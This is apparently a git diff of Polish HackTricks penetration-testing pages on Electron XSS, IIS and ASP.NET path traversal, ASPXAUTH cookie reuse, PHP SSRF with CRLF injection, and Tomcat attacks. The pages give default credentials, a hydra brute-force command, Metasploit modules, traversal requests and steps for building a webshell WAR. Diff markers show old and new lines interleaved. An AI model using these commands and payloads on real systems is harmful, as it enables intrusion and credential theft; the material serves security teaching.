Jeśli **chromium** używane przez aplikację jest **stare** i istnieją **znane** **luki** w nim, może być możliwe **wykorzystanie tego i uzyskanie RCE przez XSS**.\
|
||||
Możesz zobaczyć przykład w tym **opisie**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
Możesz zobaczyć przykład w tym **writeupie**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
|
||||
|
||||
## **Phishing XSS za pomocą obejścia regex URL wewnętrznego**
|
||||
|
||||
Zakładając, że znalazłeś XSS, ale **nie możesz wywołać RCE ani ukraść plików wewnętrznych**, możesz spróbować użyć go do **kradzieży poświadczeń za pomocą phishingu**.
|
||||
Zakładając, że znalazłeś XSS, ale **nie możesz wywołać RCE ani ukraść plików wewnętrznych**, możesz spróbować wykorzystać to do **kradzieży poświadczeń za pomocą phishingu**.
|
||||
|
||||
Przede wszystkim musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod JS w front-endzie:
|
||||
```javascript
|
||||
|
@ -285,7 +272,7 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
|||
|
||||
## Laboratoria
|
||||
|
||||
W [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) możesz znaleźć laboratorium do eksploatacji podatnych aplikacji Electron.
|
||||
W [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) znajdziesz laboratorium do eksploatacji podatnych aplikacji Electron.
|
||||
|
||||
Niektóre polecenia, które pomogą Ci w laboratorium:
|
||||
```bash
|
||||
|
@ -320,29 +307,17 @@ npm start
|
|||
* Więcej badań i artykułów na temat bezpieczeństwa Electron w [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcje sprawdzania, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -8,27 +8,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
Testuj rozszerzenia plików wykonywalnych:
|
||||
|
||||
* asp
|
||||
|
@ -38,7 +24,7 @@ Testuj rozszerzenia plików wykonywalnych:
|
|||
|
||||
## Ujawnienie wewnętrznego adresu IP
|
||||
|
||||
Na każdym serwerze IIS, na którym otrzymujesz 302, możesz spróbować usunąć nagłówek Host i użyć HTTP/1.0, a w odpowiedzi nagłówek Location może wskazywać na wewnętrzny adres IP:
|
||||
Na każdym serwerze IIS, na którym otrzymasz 302, możesz spróbować usunąć nagłówek Host i użyć HTTP/1.0, a w odpowiedzi nagłówek Location może wskazywać na wewnętrzny adres IP:
|
||||
```
|
||||
nc -v domain.com 80
|
||||
openssl s_client -connect domain.com:443
|
||||
|
@ -77,7 +63,7 @@ Została stworzona poprzez połączenie zawartości następujących list:
|
|||
|
||||
Użyj jej bez dodawania jakiegoś rozszerzenia, pliki, które go potrzebują, już je mają.
|
||||
|
||||
## Przechodzenie ścieżek
|
||||
## Przechodzenie po ścieżkach
|
||||
|
||||
### Wyciekanie kodu źródłowego
|
||||
|
||||
|
@ -89,7 +75,7 @@ Z **pobranych Dll** można również znaleźć **nowe przestrzenie nazw**, do kt
|
|||
Ponadto pliki **connectionstrings.config** i **global.asax** mogą zawierać interesujące informacje.\\
|
||||
{% endhint %}
|
||||
|
||||
W **aplikacjach .Net MVC** plik **web.config** odgrywa kluczową rolę, określając każdy plik binarny, na którym opiera się aplikacja, za pomocą tagów XML **"assemblyIdentity"**.
|
||||
W **aplikacjach .Net MVC**, plik **web.config** odgrywa kluczową rolę, określając każdy plik binarny, na którym opiera się aplikacja, za pomocą tagów XML **"assemblyIdentity"**.
|
||||
|
||||
### **Eksploracja plików binarnych**
|
||||
|
||||
|
@ -110,11 +96,11 @@ Te ustawienia wskazują, że niektóre pliki, takie jak **/bin/WebGrease.dll**,
|
|||
|
||||
### **Pliki katalogu głównego**
|
||||
|
||||
Pliki znajdujące się w katalogu głównym, takie jak **/global.asax** i **/connectionstrings.config** (który zawiera wrażliwe hasła), są niezbędne do konfiguracji i działania aplikacji.
|
||||
Pliki znajdujące się w katalogu głównym, takie jak **/global.asax** i **/connectionstrings.config** (który zawiera wrażliwe hasła), są niezbędne dla konfiguracji i działania aplikacji.
|
||||
|
||||
### **Przestrzenie nazw i Web.Config**
|
||||
|
||||
Aplikacje MVC definiują również dodatkowe **web.config files** dla konkretnych przestrzeni nazw, aby uniknąć powtarzalnych deklaracji w każdym pliku, co ilustruje żądanie pobrania innego **web.config**:
|
||||
Aplikacje MVC definiują również dodatkowe **web.config files** dla specyficznych przestrzeni nazw, aby uniknąć powtarzalnych deklaracji w każdym pliku, co ilustruje żądanie pobrania innego **web.config**:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
|
@ -245,7 +231,7 @@ ASP.NET zawiera tryb debugowania, a jego plik nazywa się `trace.axd`.
|
|||
|
||||
Zachowuje bardzo szczegółowy dziennik wszystkich żądań wysyłanych do aplikacji przez pewien czas.
|
||||
|
||||
Informacje te obejmują adresy IP zdalnych klientów, identyfikatory sesji, wszystkie ciasteczka żądań i odpowiedzi, fizyczne ścieżki, informacje o kodzie źródłowym, a potencjalnie nawet nazwy użytkowników i hasła.
|
||||
Informacje te obejmują adresy IP zdalnych klientów, identyfikatory sesji, wszystkie ciasteczka żądań i odpowiedzi, ścieżki fizyczne, informacje o kodzie źródłowym, a potencjalnie nawet nazwy użytkowników i hasła.
|
||||
|
||||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||||
|
||||
|
@ -255,12 +241,12 @@ Informacje te obejmują adresy IP zdalnych klientów, identyfikatory sesji, wszy
|
|||
|
||||
ASPXAUTH używa następujących informacji:
|
||||
|
||||
* **`validationKey`** (string): klucz zakodowany w hex do użycia do walidacji podpisu.
|
||||
* **`validationKey`** (string): klucz zakodowany w formacie hex do użycia w walidacji podpisu.
|
||||
* **`decryptionMethod`** (string): (domyślnie “AES”).
|
||||
* **`decryptionIV`** (string): wektor inicjalizacyjny zakodowany w hex (domyślnie wektor zerowy).
|
||||
* **`decryptionKey`** (string): klucz zakodowany w hex do użycia do deszyfrowania.
|
||||
* **`decryptionIV`** (string): wektor inicjalizacyjny zakodowany w formacie hex (domyślnie wektor zerowy).
|
||||
* **`decryptionKey`** (string): klucz zakodowany w formacie hex do użycia w deszyfrowaniu.
|
||||
|
||||
Jednak niektórzy ludzie będą używać **domyślnych wartości** tych parametrów i będą używać jako **ciasteczka e-maila użytkownika**. Dlatego, jeśli możesz znaleźć stronę internetową używającą **tej samej platformy**, która używa ciasteczka ASPXAUTH i **stworzysz użytkownika z e-mailem użytkownika, którego chcesz udawać** na serwerze pod atakiem, możesz być w stanie **użyć ciasteczka z drugiego serwera w pierwszym** i udawać użytkownika.\
|
||||
Jednak niektórzy ludzie będą używać **domyślnych wartości** tych parametrów i będą używać jako **ciasteczka adresu e-mail użytkownika**. Dlatego, jeśli możesz znaleźć stronę internetową korzystającą z **tej samej platformy**, która używa ciasteczka ASPXAUTH i **utworzysz użytkownika z adresem e-mail użytkownika, którego chcesz udawać** na serwerze pod atakiem, możesz być w stanie **użyć ciasteczka z drugiego serwera w pierwszym** i udawać użytkownika.\
|
||||
Ten atak zadziałał w tym [**opisie**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
@ -285,18 +271,6 @@ HTTP/1.1 401 Unauthorized
|
|||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||
HTTP/1.1 200 OK
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcje sprawdzania, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -307,7 +281,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,20 +9,12 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Funkcje SSRF PHP
|
||||
|
||||
Niektóre funkcje, takie jak **file\_get\_contents(), fopen(), file(), md5\_file()** akceptują URL-e jako dane wejściowe, które będą śledzone, co może prowadzić do **możliwości luk SSRF**, jeśli użytkownik może kontrolować dane:
|
||||
|
@ -32,7 +24,7 @@ fopen("http://127.0.0.1:8081", "r");
|
|||
file("http://127.0.0.1:8081");
|
||||
md5_file("http://127.0.0.1:8081");
|
||||
```
|
||||
### Wordpress SSRF poprzez DNS Rebinding
|
||||
### Wordpress SSRF via DNS Rebinding
|
||||
|
||||
Jak [**wyjaśniono w tym poście na blogu**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), nawet funkcja Wordpress **`wp_safe_remote_get`** jest podatna na DNS rebinding, co czyni ją potencjalnie podatną na ataki SSRF. Główna walidacja, którą wywołuje, to **wp\_http\_validate\_url**, która sprawdza, czy protokół to `http://` lub `https://` oraz czy port to jeden z **80**, **443** lub **8080**, ale jest **podatna na DNS rebinding**.
|
||||
|
||||
|
@ -48,7 +40,7 @@ Inne podatne funkcje według posta to:
|
|||
|
||||
### CRLF
|
||||
|
||||
Co więcej, w niektórych przypadkach może być nawet możliwe wysyłanie dowolnych nagłówków za pomocą "podatności" CRLF w poprzednich funkcjach:
|
||||
Co więcej, w niektórych przypadkach może być nawet możliwe wysyłanie dowolnych nagłówków za pomocą "luk" CRLF w poprzednich funkcjach:
|
||||
```php
|
||||
# The following will create a header called from with value Hi and
|
||||
# an extra header "Injected: I HAVE IT"
|
||||
|
@ -83,12 +75,6 @@ $options = array(
|
|||
$context = stream_context_create($options);
|
||||
$file = file_get_contents($url, false, $context);
|
||||
```
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Odkrywanie
|
||||
|
||||
* Zwykle działa na **porcie 8080**
|
||||
|
@ -50,9 +42,9 @@ Dla wersji Tomcat starszych niż 6, możliwe jest enumerowanie nazw użytkownik
|
|||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
### **Domyślne dane logowania**
|
||||
### **Domyślne Poświadczenia**
|
||||
|
||||
Katalog **`/manager/html`** jest szczególnie wrażliwy, ponieważ umożliwia przesyłanie i wdrażanie plików WAR, co może prowadzić do wykonania kodu. Katalog ten jest chroniony podstawową autoryzacją HTTP, a powszechne dane logowania to:
|
||||
Katalog **`/manager/html`** jest szczególnie wrażliwy, ponieważ umożliwia przesyłanie i wdrażanie plików WAR, co może prowadzić do wykonania kodu. Katalog ten jest chroniony podstawową autoryzacją HTTP, a powszechne poświadczenia to:
|
||||
|
||||
* admin:admin
|
||||
* tomcat:tomcat
|
||||
|
@ -61,15 +53,15 @@ Katalog **`/manager/html`** jest szczególnie wrażliwy, ponieważ umożliwia pr
|
|||
* tomcat:s3cr3t
|
||||
* admin:tomcat
|
||||
|
||||
Te dane logowania można przetestować za pomocą:
|
||||
Te poświadczenia można przetestować za pomocą:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
Innym godnym uwagi katalogiem jest **`/manager/status`**, który wyświetla wersję Tomcat i systemu operacyjnego, co pomaga w identyfikacji luk w zabezpieczeniach.
|
||||
Innym godnym uwagi katalogiem jest **`/manager/status`**, który wyświetla wersję Tomcat i systemu operacyjnego, co pomaga w identyfikacji luk.
|
||||
|
||||
### **Atak Brute Force**
|
||||
|
||||
Aby spróbować przeprowadzić atak brute force na katalogu menedżera, można użyć:
|
||||
Aby spróbować ataku brute force na katalog menedżera, można użyć:
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
```
|
||||
|
@ -89,7 +81,7 @@ Aby uzyskać dostęp do interfejsu zarządzania Tomcat, przejdź do: `pathTomcat
|
|||
|
||||
### /examples
|
||||
|
||||
Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty, które są podatne na ujawnienie informacji i ataki typu cross-site scripting (XSS). Te skrypty, wymienione w sposób kompleksowy, powinny być sprawdzone pod kątem nieautoryzowanego dostępu i potencjalnego wykorzystania. Znajdź [więcej informacji tutaj](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty, które są podatne na ujawnienie informacji i ataki typu cross-site scripting (XSS). Te skrypty, wymienione w sposób kompleksowy, powinny być sprawdzone pod kątem nieautoryzowanego dostępu i potencjalnej eksploatacji. Znajdź [więcej informacji tutaj](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
|
@ -128,7 +120,7 @@ Na koniec, jeśli masz dostęp do Menedżera Aplikacji Webowych Tomcat, możesz
|
|||
|
||||
### Limitations
|
||||
|
||||
Będziesz mógł wdrożyć WAR tylko wtedy, gdy masz **wystarczające uprawnienia** (role: **admin**, **manager** i **manager-script**). Te szczegóły można znaleźć w _tomcat-users.xml_, zazwyczaj zdefiniowane w `/usr/share/tomcat9/etc/tomcat-users.xml` (to się różni w zależności od wersji) (zobacz [POST ](tomcat.md#post)section).
|
||||
Będziesz mógł wdrożyć WAR tylko wtedy, gdy masz **wystarczające uprawnienia** (role: **admin**, **manager** i **manager-script**). Te szczegóły można znaleźć w _tomcat-users.xml_, zazwyczaj zdefiniowane w `/usr/share/tomcat9/etc/tomcat-users.xml` (to różni się w zależności od wersji) (zobacz [POST ](tomcat.md#post)section).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -208,7 +200,7 @@ jar -cvf ../webshell.war *
|
|||
webshell.war is created
|
||||
# Upload it
|
||||
```
|
||||
Możesz również zainstalować to (umożliwia przesyłanie, pobieranie i wykonywanie poleceń): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
Możesz również zainstalować to (pozwala na przesyłanie, pobieranie i wykonywanie poleceń): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||||
|
||||
### Manual Method 2
|
||||
|
||||
|
@ -230,7 +222,7 @@ Inne sposoby na zebranie poświadczeń Tomcat:
|
|||
msf> use post/multi/gather/tomcat_gather
|
||||
msf> use post/windows/gather/enum_tomcat
|
||||
```
|
||||
## Inne narzędzia skanowania tomcat
|
||||
## Inne narzędzia skanujące tomcat
|
||||
|
||||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||
|
||||
|
@ -239,12 +231,6 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -254,8 +240,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -8,29 +8,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Odkrycie
|
||||
## Discovery
|
||||
|
||||
* Zwykle działa na **porcie 8080**
|
||||
* **Typowy błąd Tomcat:**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Enumeracja
|
||||
## Enumeration
|
||||
|
||||
### **Identyfikacja wersji**
|
||||
|
||||
|
@ -65,11 +57,11 @@ Te poświadczenia można przetestować za pomocą:
|
|||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
Innym godnym uwagi katalogiem jest **`/manager/status`**, który wyświetla wersję Tomcat i systemu operacyjnego, co pomaga w identyfikacji luk w zabezpieczeniach.
|
||||
Innym godnym uwagi katalogiem jest **`/manager/status`**, który wyświetla wersję Tomcat i systemu operacyjnego, co pomaga w identyfikacji luk.
|
||||
|
||||
### **Atak Brute Force**
|
||||
|
||||
Aby spróbować przeprowadzić atak brute force na katalogu menedżera, można użyć:
|
||||
Aby spróbować ataku brute force na katalog menedżera, można użyć:
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
```
|
||||
|
